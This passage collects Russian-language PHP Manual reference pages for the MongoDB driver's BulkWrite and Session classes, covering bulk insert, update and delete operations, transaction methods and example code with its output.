Если гарантия записи не может быть выполнена, результат вышеприведённого примера будет что-то вроде этого:

waiting for replication timed out (64): array (
  'wtimeout' => true,
)
Operation#7: E11000 duplicate key error index: databaseName.collectionName.$_id_ dup key: { : 3 } (11000)
Inserted 4 document(s)
Updated  2 document(s)

Если мы выполним пример выше, но разрешим неотсортированные записи:

<?php

$bulk = new MongoDB\Driver\BulkWrite(['ordered' => false]);
/* ... */

?>

Результат выполнения данного примера:

Operation#7: E11000 duplicate key error index: db.collection.$_id_ dup key: { : 3 } (11000)
Operation#8: E11000 duplicate key error index: db.collection.$_id_ dup key: { : 4 } (11000)
Inserted 5 document(s)
Updated  2 document(s)

Смотрите также

  • MongoDB\Driver\Manager::executeBulkWrite()
  • MongoDB\Driver\WriteResult
  • MongoDB\Driver\WriteConcern
  • MongoDB\Driver\WriteConcernError
  • MongoDB\Driver\WriteError

Содержание

  • MongoDB\Driver\BulkWrite::__construct — Создаёт новый объект BulkWrite
  • MongoDB\Driver\BulkWrite::count — Подсчитывает количество операций записи в порции
  • MongoDB\Driver\BulkWrite::delete — Добавление операции удаления в порцию
  • MongoDB\Driver\BulkWrite::insert — Добавить операцию вставки в порцию
  • MongoDB\Driver\BulkWrite::update — Добавить операцию обновления в порцию

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект BulkWrite

  • « MongoDB\Driver\BulkWrite
  • MongoDB\Driver\BulkWrite::count »
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Создаёт новый объект BulkWrite

MongoDB\Driver\BulkWrite::__construct

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::__construct — Создаёт новый объект BulkWrite

Описание

public MongoDB\Driver\BulkWrite::__construct(?array $options = null)

Создаёт новый MongoDB\Driver\BulkWrite, который является изменяемым объектом, к которому могут быть добавлены одна и несколько операций записи. Операции записи могут быть выполнены с помощью MongoDB\Driver\Manager::executeBulkWrite().

Список параметров

options (array)

options
Опция | Тип | Описание | Значение по умолчанию
bypassDocumentValidation bool

Если true, позволяет выполнять операции вставки или обновления, чтобы обойти проверку уровня документа.

Этот параметр доступен в MongoDB 3.2+ и игнорируется в более старых версиях сервера, которые не поддерживают проверку уровня сервера.

false
comment mixed

Произвольный комментарий, помогающий отследить операцию с помощью профилировщика базы данных, вывода CurrentOp и журналов.

Опция доступна в MongoDB 4.4+ и приведёт к исключению во время выполнения, если указана для более старой версии сервера.

let array|object

Карта имён и значений параметров. Значения должны быть константами или закрытыми выражениями, которые не ссылаются на поля документа. К параметрам можно обращаться как к переменным в контексте агрегированного выражения (например, $$var).

Опция доступна в MongoDB 5.0+ и приведёт к исключению во время выполнения, если указана для более старой версии сервера.

ordered | bool | Отсортированные операции (true) выполняется последовательно на сервере MongoDB, тогда как неотсортированные операции (false) отправляются на сервере в произвольном порядке и могут выполняться параллельно. | true

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Список изменений

Версия | Описание
PECL mongodb 1.14.0 | Добавлены опции "comment" и "let".
PECL mongodb 1.1.0 | Добавлена опция "bypassDocumentValidation".

Примеры

Пример #1 Пример использования MongoDB\Driver\BulkWrite::__construct()

<?php

$bulk = new MongoDB\Driver\BulkWrite(['ordered' => true]);
$bulk->delete([]);
$bulk->insert(['_id' => 1, 'x' => 1]);
$bulk->insert(['_id' => 2, 'x' => 2]);
$bulk->update(
['x' => 2],
['$set' => ['x' => 1]],
['limit' => 1, 'upsert' => false]
);
$bulk->delete(['x' => 1], ['limit' => 1]);
$bulk->update(
['_id' => 3],
['$set' => ['x' => 3]],
['limit' => 1, 'upsert' => true]
);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$writeConcern = new MongoDB\Driver\WriteConcern(1);

try {
$result = $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch (MongoDB\Driver\Exception\BulkWriteException $e) {
$result = $e->getWriteResult();

// Проверяем обеспечение гарантии записи
if ($writeConcernError = $result->getWriteConcernError()) {
printf("%s (%d): %s\n",
$writeConcernError->getMessage(),
$writeConcernError->getCode(),
var_export($writeConcernError->getInfo(), true)
);
}

// Проверяем, если какие-либо операции записи не были выполнены
foreach ($result->getWriteErrors() as $writeError) {
printf("Operation#%d: %s (%d)\n",
$writeError->getIndex(),
$writeError->getMessage(),
$writeError->getCode()
);
}
} catch (MongoDB\Driver\Exception\Exception $e) {
printf("Другая ошибка: %s\n", $e->getMessage());
exit;
}

printf("Добавлено %d документ(ов)\n", $result->getInsertedCount());
printf("Обновлено %d документ(ов)\n", $result->getModifiedCount());
printf("Слито %d документ(ов)\n", $result->getUpsertedCount());
printf("Удалено %d документ(ов)\n", $result->getDeletedCount());

?>

Результат выполнения данного примера:

Добавлено 2 документ(ов)
Обновлено 1 документ(ов)
Слито 1 документ(ов)
Удалено  1 документ(ов)

Смотрите также

  • MongoDB\Driver\Manager::executeBulkWrite() - Выполняет одну или несколько операций записи
  • MongoDB\Driver\WriteResult

User Contributed Notes

There are no user contributed notes for this page.


Подсчитывает количество операций записи в порции

  • « MongoDB\Driver\BulkWrite::__construct
  • MongoDB\Driver\BulkWrite::delete »
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Подсчитывает количество операций записи в порции

MongoDB\Driver\BulkWrite::count

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::count — Подсчитывает количество операций записи в порции

Описание

public MongoDB\Driver\BulkWrite::count(): int

Возвращает количество операций записи, добавленных в объект MongoDB\Driver\BulkWrite.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество операций записи, добавленных в объект MongoDB\Driver\BulkWrite.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Список изменений

Версия | Описание
PECL mongodb 1.2.0 | Возвращает количество операций записи, добавленных в объект MongoDB\Driver\BulkWrite. В более ранних версиях возвращалось предполагаемое количество обращений клиента к серверу, необходимых для выполнения всех операций записи.

Примеры

Пример #1 Пример использования MongoDB\Driver\BulkWrite::count()

<?php

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1, 'x' => 1]);
$bulk->insert(['_id' => 2, 'x' => 2]);
$bulk->update(['x' => 2], ['$set' => ['x' => 1]]);
$bulk->delete(['x' => 1]);

var_dump(count($bulk));

?>

Результат выполнения данного примера:

int(4)

User Contributed Notes

There are no user contributed notes for this page.


Добавление операции удаления в порцию

  • « MongoDB\Driver\BulkWrite::count
  • MongoDB\Driver\BulkWrite::insert »
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Добавление операции удаления в порцию

MongoDB\Driver\BulkWrite::delete

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::delete — Добавление операции удаления в порцию

Описание

public MongoDB\Driver\BulkWrite::delete(array|object $filter, ?array $deleteOptions = null): void

Добавляет операцию удаления в объект MongoDB\Driver\BulkWrite.

Список параметров

filter (array|object)

» Предикат запроса. Пустой предикат совпадёт со всеми элементами коллекции.

Замечание: При вычислении критериев запроса, MongoDB сравнивает типы и значения в соответствии с собственными » правилами сравнения типов BSON, отличных от правил сравнения и приведения типов PHP. Когда используется специальный тип BSON, критерия запроса должна соответствовать классу BSON (т.е. использовать MongoDB\BSON\ObjectId для выборке по » ObjectId).

deleteOptions

deleteOptions
Опция | Тип | Описание | Значение по умолчанию
collation array|object

» Сопоставление позволяет пользователям указывать специфичные для конкретного языка правила для сравнения строк, такие как реакцию на регистр букв и надстрочные знаки. Если задано сопоставление, то поле "locale" также обязательно. Описание полей смотрите в разделе » Сопоставление.

Если сопоставление не задано явно, но у коллекции определено сопоставление по умолчанию, то будет использовано оно. Если нет ни того ни того, то MongoDB будет использовать простое бинарное сравнение строк.

Эта опция доступна в MongoDB 3.4+ и, если будет использована для более старых версий, вызовет исключение во время исполнения.

hint string|array|object

Индекс спецификации. Укажите либо имя индекса в виде строки, либо шаблон ключа индекса. Если указано, то система запросов будет рассматривать планы только с использованием индекса подсказок.

Опция доступна с MongoDB 4.4+ и приведёт к исключению во время выполнения, если она указан для более старой версии сервера.

limit | bool | Удалить все подходящие документа (false) или только первый найденный документ (true) | false

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Список изменений

Версия | Описание
PECL mongodb 1.8.0 | Добавлена опция "hint".
PECL mongodb 1.2.0 | Добавлена опция "collation".

Примеры

Пример #1 Пример использования MongoDB\Driver\BulkWrite::delete()

<?php

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->delete(['x' => 1], ['limit' => 1]);
$bulk->delete(['x' => 2], ['limit' => 0]);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$result = $manager->executeBulkWrite('db.collection', $bulk);

?>

Смотрите также

  • MongoDB\Driver\Manager::executeBulkWrite() - Выполняет одну или несколько операций записи
  • MongoDB\Driver\WriteResult

User Contributed Notes

There are no user contributed notes for this page.


Добавить операцию вставки в порцию

  • « MongoDB\Driver\BulkWrite::delete
  • MongoDB\Driver\BulkWrite::update »
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Добавить операцию вставки в порцию

MongoDB\Driver\BulkWrite::insert

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::insert — Добавить операцию вставки в порцию

Описание

public MongoDB\Driver\BulkWrite::insert(array|object $document): mixed

Добавляем операцию вставки в MongoDB\Driver\BulkWrite.

Список параметров

document (array|object)

Документ для вставки.

Возвращаемые значения

Возвращает _id добавленного документа. Если в document не был задан _id, будет возвращён MongoDB\BSON\ObjectId, сгенерированный для вставки.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Список изменений

Версия | Описание
PECL mongodb 1.3.0 | Всегда возвращается _id для добавленного документа. Ранее метод возвращал значение только в случае если MongoDB\BSON\ObjectId был создан.

Примеры

Пример #1 Пример использования MongoDB\Driver\BulkWrite::insert()

<?php

$bulk = new MongoDB\Driver\BulkWrite;

$document1 = ['title' => 'one'];
$document2 = ['_id' => 'custom ID', 'title' => 'two'];
$document3 = ['_id' => new MongoDB\BSON\ObjectId, 'title' => 'three'];

$_id1 = $bulk->insert($document1);
$_id2 = $bulk->insert($document2);
$_id3 = $bulk->insert($document3);

var_dump($_id1, $_id2, $_id3);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$result = $manager->executeBulkWrite('db.collection', $bulk);

?>

Результатом выполнения данного примера будет что-то подобное:

object(MongoDB\BSON\ObjectId)#3 (1) {
  ["oid"]=>
  string(24) "54d51146bd21b91405401d92"
}
NULL
NULL

Смотрите также

  • MongoDB\Driver\Manager::executeBulkWrite() - Выполняет одну или несколько операций записи
  • MongoDB\Driver\WriteResult
  • MongoDB\BSON\ObjectId
  • MongoDB\BSON\Persistable

User Contributed Notes

There are no user contributed notes for this page.


Добавить операцию обновления в порцию

  • « MongoDB\Driver\BulkWrite::insert
  • MongoDB\Driver\Session »
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Добавить операцию обновления в порцию

MongoDB\Driver\BulkWrite::update

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::update — Добавить операцию обновления в порцию

Описание

public MongoDB\Driver\BulkWrite::update(array|object $filter, array|object $newObj, ?array $updateOptions = null): void

Добавляет операцию обновления в MongoDB\Driver\BulkWrite.

Список параметров

filter (array|object)

» Предикат запроса. Пустой предикат совпадёт со всеми элементами коллекции.

Замечание: При вычислении критериев запроса, MongoDB сравнивает типы и значения в соответствии с собственными » правилами сравнения типов BSON, отличных от правил сравнения и приведения типов PHP. Когда используется специальный тип BSON, критерия запроса должна соответствовать классу BSON (т.е. использовать MongoDB\BSON\ObjectId для выборке по » ObjectId).

newObj (array|object)

Документ, содержащий операторы обновления (например, $set), заменяющий документ (например, только выражения field:value) или » конвейер агрегации.

updateOptions

updateOptions
Опция | Тип | Описание | Значение по умолчанию
arrayFilters array

Массив документов фильтров, который определяет, какие элементы массива будут изменены для операции обновления в поле массива. Смотрите » Указывайте arrayFilters для операций обновления массива в руководстве MongoDB для получения дополнительной информации.

Опция доступна с MongoDB 3.6+ и приведёт к исключению во время выполнения, если она указан для более старой версии сервера.

collation array|object

» Сопоставление позволяет пользователям указывать специфичные для конкретного языка правила для сравнения строк, такие как реакцию на регистр букв и надстрочные знаки. Если задано сопоставление, то поле "locale" также обязательно. Описание полей смотрите в разделе » Сопоставление.

Если сопоставление не задано явно, но у коллекции определено сопоставление по умолчанию, то будет использовано оно. Если нет ни того ни того, то MongoDB будет использовать простое бинарное сравнение строк.

Эта опция доступна в MongoDB 3.4+ и, если будет использована для более старых версий, вызовет исключение во время исполнения.

hint string|array|object

Индекс спецификации. Укажите либо имя индекса в виде строки, либо шаблон ключа индекса. Если указано, то система запросов будет рассматривать планы только с использованием индекса подсказок.

Опция доступна с MongoDB 4.4+ и приведёт к исключению во время выполнения, если она указан для более старой версии сервера.

multi | bool | Обновить только первый найденный документ, если false или все подходящие документы при true. Эта опция не может быть true, когда newObj - заменяющий документ. | false
upsert | bool | Если filter не соответствует существующему документу, будет вставлен новый документ. Документ будет создан из newObj, если он заменяющий документ (т.е. отсутствуют операторы обновления); в противном случае операторы в newObj будут применяться к filter для создания нового документа. | false

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Список изменений

Версия | Описание
PECL mongodb 1.7.0 | Добавлена опция "hint".
PECL mongodb 1.6.0 | Параметр newObj теперь принимает конвейер агрегации. Требуется MongoDB 4.2+, для более старой версии сервера выбросит исключение во время выполнения.
PECL mongodb 1.5.0 | Использование опции "arrayFilters" приведёт к исключению во время выполнения, если она не поддерживается сервером. Раньше не выбрасывалось исключение, и этот параметр, возможно, был проигнорирован.
PECL mongodb 1.4.0 | Добавлена опция "arrayFilters".
PECL mongodb 1.2.0 | Добавлена опция "collation".

Примеры

Пример #1 Пример использования MongoDB\Driver\BulkWrite::update()

<?php

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->update(
['x' => 2],
['$set' => ['y' => 3]],
['multi' => false, 'upsert' => false]
);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$result = $manager->executeBulkWrite('db.collection', $bulk);

?>

Смотрите также

  • MongoDB\Driver\Manager::executeBulkWrite() - Выполняет одну или несколько операций записи
  • MongoDB\Driver\WriteResult

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Session

(mongodb >=1.4.0)

Введение

Класс MongoDB\Driver\Session представляет клиентский сеанс и возвращается MongoDB\Driver\Manager::startSession(). Команды, запросы и операции записи могут затем быть связаны с сеансом.

Обзор классов

final class MongoDB\Driver\Session {
/* Константы */
const string TRANSACTION_NONE = none;
const string TRANSACTION_STARTING = starting;
const string TRANSACTION_IN_PROGRESS = in_progress;
const string TRANSACTION_COMMITTED = committed;
const string TRANSACTION_ABORTED = aborted;
/* Методы */
final public abortTransaction(): void
final public advanceClusterTime(array|object $clusterTime): void
final public advanceOperationTime(MongoDB\BSON\TimestampInterface $operationTime): void
final public commitTransaction(): void
final private __construct()
final public endSession(): void
final public getClusterTime(): ?object
final public getLogicalSessionId(): object
final public getOperationTime(): ?MongoDB\BSON\Timestamp
final public getServer(): ?MongoDB\Driver\Server
final public getTransactionOptions(): ?array
final public getTransactionState(): string
final public isDirty(): bool
final public isInTransaction(): boolean
final public startTransaction(?array $options = null): void
}

Предопределённые константы

MongoDB\Driver\Session::TRANSACTION_NONE

Нет транзакции в процессе.

MongoDB\Driver\Session::TRANSACTION_STARTING

Транзакция была начата, но на сервер не было отправлено ни одной операции.

MongoDB\Driver\Session::TRANSACTION_IN_PROGRESS

Транзакция в процессе.

MongoDB\Driver\Session::TRANSACTION_COMMITTED

Транзакция была зафиксирована.

MongoDB\Driver\Session::TRANSACTION_ABORTED

Транзакция была прервана.

Содержание

  • MongoDB\Driver\Session::abortTransaction — Прерывает транзакцию
  • MongoDB\Driver\Session::advanceClusterTime — Увеличивает время кластера для сеанса
  • MongoDB\Driver\Session::advanceOperationTime — Увеличивает время операции для сеанса
  • MongoDB\Driver\Session::commitTransaction — Фиксирует транзакцию
  • MongoDB\Driver\Session::__construct — Создаёт новый сеанс (не используется)
  • MongoDB\Driver\Session::endSession — Завершает сеанс
  • MongoDB\Driver\Session::getClusterTime — Возвращает время кластера для этого сеанса
  • MongoDB\Driver\Session::getLogicalSessionId — Возвращает логический идентификатор сеанса для этого сеанса
  • MongoDB\Driver\Session::getOperationTime — Возвращает время операции для этого сеанса
  • MongoDB\Driver\Session::getServer — Возвращает сервер к которому привязана текущая сессия
  • MongoDB\Driver\Session::getTransactionOptions — Возвращает настройки текущей транзакции
  • MongoDB\Driver\Session::getTransactionState — Возвращает статус транзакции для текущей сессии
  • MongoDB\Driver\Session::isDirty — Возвращает, была ли сессия помечена как грязная
  • MongoDB\Driver\Session::isInTransaction — Определяет, происходит ли в данный момент многодокументная транзакция
  • MongoDB\Driver\Session::startTransaction — Запускает транзакцию

User Contributed Notes

There are no user contributed notes for this page.


Прерывает транзакцию

  • « MongoDB\Driver\Session
  • MongoDB\Driver\Session::advanceClusterTime »
  • PHP Manual
  • MongoDB\Driver\Session
  • Прерывает транзакцию

MongoDB\Driver\Session::abortTransaction

(mongodb >=1.5.0)

MongoDB\Driver\Session::abortTransaction — Прерывает транзакцию

Описание

final public MongoDB\Driver\Session::abortTransaction(): void

Завершает многодокументную транзакцию и откатывает любые изменения данных, сделанные операциями внутри транзакции. То есть транзакция заканчивается без сохранения каких-либо изменений, внесённых операциями в транзакции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт исключение MongoDB\Driver\Exception\RuntimeException, если транзакция не может быть прервана (например, транзакция не была начата).

Смотрите также

  • MongoDB\Driver\Manager::startSession() - Запускает новый клиентский сеанс для использования с этим клиентом
  • MongoDB\Driver\Session::commitTransaction() - Фиксирует транзакцию
  • MongoDB\Driver\Session::startTransaction() - Запускает транзакцию

User Contributed Notes

There are no user contributed notes for this page.


Увеличивает время кластера для сеанса

  • « MongoDB\Driver\Session::abortTransaction
  • MongoDB\Driver\Session::advanceOperationTime »
  • PHP Manual
  • MongoDB\Driver\Session
  • Увеличивает время кластера для сеанса

MongoDB\Driver\Session::advanceClusterTime

(mongodb >=1.4.0)

MongoDB\Driver\Session::advanceClusterTime — Увеличивает время кластера для сеанса

Описание

final public MongoDB\Driver\Session::advanceClusterTime(array|object $clusterTime): void

Увеличивает время кластера для сеанса. Если время кластера меньше или равно текущему времени кластера сеанса, функция не будет работать.

Используя этот метод в сочетании с MongoDB\Driver\Session::advanceOperationTime() для копирования кластера и времени операций из другого сеанса, вы можете убедиться, что операции в этом сеансе причинно соответствуют последней операции в другом сеансе.

Список параметров

clusterTime

Время кластера - это документ, содержащий логическую метку времени и сигнатуру сервера. Как правило, это значение будет получено путём вызова MongoDB\Driver\Session::getClusterTime() для другого объекта сеанса.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Session::advanceOperationTime() - Увеличивает время операции для сеанса
  • MongoDB\Driver\Session::getClusterTime() - Возвращает время кластера для этого сеанса

User Contributed Notes

There are no user contributed notes for this page.


Увеличивает время операции для сеанса

  • « MongoDB\Driver\Session::advanceClusterTime
  • MongoDB\Driver\Session::commitTransaction »
  • PHP Manual
  • MongoDB\Driver\Session
  • Увеличивает время операции для сеанса

MongoDB\Driver\Session::advanceOperationTime

(mongodb >=1.4.0)

MongoDB\Driver\Session::advanceOperationTime — Увеличивает время операции для сеанса

Описание

final public MongoDB\Driver\Session::advanceOperationTime(MongoDB\BSON\TimestampInterface $operationTime): void

Увеличивает время операции для сеанса. Если время операции меньше или равно текущему времени сеанса, функция не будет работать.

Используя этот метод в сочетании с MongoDB\Driver\Session::advanceClusterTime() для копирования операции и времени кластеризации из другого сеанса, вы можете гарантировать, что операции в этом сеансе причинно согласуются с последней операцией в другом сеансе.

Список параметров

operationTime

Время операции является логической отметкой времени. Как правило, это значение будет получено путём вызова MongoDB\Driver\Session::getOperationTime() для другого объекта сеанса.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Session::advanceClusterTime() - Увеличивает время кластера для сеанса
  • MongoDB\Driver\Session::getClusterTime() - Возвращает время кластера для этого сеанса

User Contributed Notes

There are no user contributed notes for this page.


Фиксирует транзакцию

  • « MongoDB\Driver\Session::advanceOperationTime
  • MongoDB\Driver\Session::__construct »
  • PHP Manual
  • MongoDB\Driver\Session
  • Фиксирует транзакцию

MongoDB\Driver\Session::commitTransaction

(mongodb >=1.5.0)

MongoDB\Driver\Session::commitTransaction — Фиксирует транзакцию

Описание

final public MongoDB\Driver\Session::commitTransaction(): void

Сохраняет изменения, внесённые операциями в многодокументную транзакцию и завершает транзакцию. До фиксации ни одно изменение данных, сделанных из транзакции, не будет видно за пределами транзакции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт исключение MongoDB\Driver\Exception\CommandException, если сервер не смог зафиксировать транзакцию (например, из-за конфликтов, проблем с сетью). В случае, если исключение MongoDB\Driver\Exception\CommandException::getResultDocument() имеет элемент "errorLabels", и этот массив содержит значение "TransientTransactionError" или "UnUnknownTransactionCommitResult", можно повторить попытку всей транзакции. В более новых версиях драйвера вместо этого следует использовать MongoDB\Driver\Exception\RuntimeException::hasErrorLabel() для проверки этой ситуации.
  • Выдаёт исключение MongoDB\Driver\Exception\RuntimeException, если транзакция не может быть зафиксирована (например, транзакция не была запущена).

Смотрите также

  • MongoDB\Driver\Manager::startSession() - Запускает новый клиентский сеанс для использования с этим клиентом
  • MongoDB\Driver\Session::abortTransaction() - Прерывает транзакцию
  • MongoDB\Driver\Session::startTransaction() - Запускает транзакцию
  • MongoDB\Driver\Exception\RuntimeException::hasErrorLabel() - Возвращает, связана ли метка ошибки с исключением

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый сеанс (не используется)

  • « MongoDB\Driver\Session::commitTransaction
  • MongoDB\Driver\Session::endSession »
  • PHP Manual
  • MongoDB\Driver\Session
  • Создаёт новый сеанс (не используется)

MongoDB\Driver\Session::__construct

(mongodb >=1.4.0)

MongoDB\Driver\Session::__construct — Создаёт новый сеанс (не используется)

Описание

final private MongoDB\Driver\Session::__construct()

MongoDB\Driver\Session объекты возвращаются MongoDB\Driver\Manager::startSession() и не могут быть созданы напрямую.

Список параметров

У этой функции нет параметров.

Смотрите также

  • MongoDB\Driver\Manager::startSession() - Запускает новый клиентский сеанс для использования с этим клиентом

User Contributed Notes

There are no user contributed notes for this page.


Завершает сеанс

  • « MongoDB\Driver\Session::__construct
  • MongoDB\Driver\Session::getClusterTime »
  • PHP Manual
  • MongoDB\Driver\Session
  • Завершает сеанс

MongoDB\Driver\Session::endSession

(mongodb >=1.5.0)

MongoDB\Driver\Session::endSession — Завершает сеанс

Описание

final public MongoDB\Driver\Session::endSession(): void

Этот метод закрывает существующий сеанс. Если транзакция была связана с этим сеансом, транзакция будет прервана. После вызова этого метода приложения не должны вызывать другие методы в сеансе.

Замечание: Сессии также закрыты во время сбора мусора. Не должно быть необходимости вызывать этот метод при нормальных обстоятельствах.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Manager::startSession() - Запускает новый клиентский сеанс для использования с этим клиентом
  • MongoDB\Driver\Session::abortTransaction() - Прерывает транзакцию
  • MongoDB\Driver\Session::commitTransaction() - Фиксирует транзакцию
  • MongoDB\Driver\Session::startTransaction() - Запускает транзакцию

User Contributed Notes

There are no user contributed notes for this page.


Возвращает время кластера для этого сеанса

  • « MongoDB\Driver\Session::endSession
  • MongoDB\Driver\Session::getLogicalSessionId »
  • PHP Manual
  • MongoDB\Driver\Session
  • Возвращает время кластера для этого сеанса

MongoDB\Driver\Session::getClusterTime

(mongodb >=1.4.0)

MongoDB\Driver\Session::getClusterTime — Возвращает время кластера для этого сеанса

Описание

final public MongoDB\Driver\Session::getClusterTime(): ?object

Возвращает время кластера для этого сеанса. Если сеанс не использовался для какой-либо операции и MongoDB\Driver\Session::advanceClusterTime() не был вызван, время кластера будет равно null.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает время кластера для этого сеанса или null, если у сеанса нет времени кластера.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Session::advanceClusterTime() - Увеличивает время кластера для сеанса

User Contributed Notes

There are no user contributed notes for this page.


Возвращает логический идентификатор сеанса для этого сеанса

  • « MongoDB\Driver\Session::getClusterTime
  • MongoDB\Driver\Session::getOperationTime »
  • PHP Manual
  • MongoDB\Driver\Session
  • Возвращает логический идентификатор сеанса для этого сеанса

MongoDB\Driver\Session::getLogicalSessionId

(mongodb >=1.4.0)

MongoDB\Driver\Session::getLogicalSessionId — Возвращает логический идентификатор сеанса для этого сеанса

Описание

final public MongoDB\Driver\Session::getLogicalSessionId(): object

Возвращает логический идентификатор сеанса для этого сеанса, который может использоваться для идентификации операций сеанса на сервере.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логический идентификатор сеанса для этого сеанса.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает время операции для этого сеанса

  • « MongoDB\Driver\Session::getLogicalSessionId
  • MongoDB\Driver\Session::getServer »
  • PHP Manual
  • MongoDB\Driver\Session
  • Возвращает время операции для этого сеанса

MongoDB\Driver\Session::getOperationTime

(mongodb >=1.4.0)

MongoDB\Driver\Session::getOperationTime — Возвращает время операции для этого сеанса

Описание

final public MongoDB\Driver\Session::getOperationTime(): ?MongoDB\BSON\Timestamp

Возвращает время операции для этого сеанса. Если сеанс не использовался ни для какой операции, и MongoDB\Driver\Session::advanceOperationTime() не был вызван, время операции будет равно null.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает время операции для этого сеанса или null, если у сеанса нет времени операции.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Session::advanceOperationTime() - Увеличивает время операции для сеанса

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сервер к которому привязана текущая сессия

  • « MongoDB\Driver\Session::getOperationTime
  • MongoDB\Driver\Session::getTransactionOptions »
  • PHP Manual
  • MongoDB\Driver\Session
  • Возвращает сервер к которому привязана текущая сессия

MongoDB\Driver\Session::getServer

(mongodb >=1.6.0)

MongoDB\Driver\Session::getServer — Возвращает сервер к которому привязана текущая сессия

Описание

final public MongoDB\Driver\Session::getServer(): ?MongoDB\Driver\Server

Возвращает MongoDB\Driver\Server, к которому привязана текущая сессия. Если сессия не привязана к серверу, то будет возвращён null.

Привязка сессии в основном используется для шардированных транзакций, так как все команды должны идти на один и тот же экземпляр mongos. Этот метод предназначен для использования в библиотеках, построенных поверх модуля, чтобы можно было закрепить сервер, а не выбирать сервер для каждой следующей команды.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MongoDB\Driver\Server к которому прикреплена сессия. Или null, если сессия не прикреплена ни к какому серверу.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает настройки текущей транзакции

  • « MongoDB\Driver\Session::getServer
  • MongoDB\Driver\Session::getTransactionState »
  • PHP Manual
  • MongoDB\Driver\Session
  • Возвращает настройки текущей транзакции

MongoDB\Driver\Session::getTransactionOptions

(mongodb >=1.7.0)

MongoDB\Driver\Session::getTransactionOptions — Возвращает настройки текущей транзакции

Описание

final public MongoDB\Driver\Session::getTransactionOptions(): ?array

Возвращает настройки текущей транзакции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий настройки текущей транзакции, либо null, если транзакция не стартована.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Session::getTransactionState() - Возвращает статус транзакции для текущей сессии

User Contributed Notes

There are no user contributed notes for this page.


Возвращает статус транзакции для текущей сессии

  • « MongoDB\Driver\Session::getTransactionOptions
  • MongoDB\Driver\Session::isDirty »
  • PHP Manual
  • MongoDB\Driver\Session
  • Возвращает статус транзакции для текущей сессии

MongoDB\Driver\Session::getTransactionState

(mongodb >=1.7.0)

MongoDB\Driver\Session::getTransactionState — Возвращает статус транзакции для текущей сессии

Описание

final public MongoDB\Driver\Session::getTransactionState(): string

Возвращает статус транзакции для текущей сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает статус транзакции для текущей сессии.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Session::isInTransaction() - Определяет, происходит ли в данный момент многодокументная транзакция
  • MongoDB\Driver\Session::getTransactionOptions() - Возвращает настройки текущей транзакции

User Contributed Notes

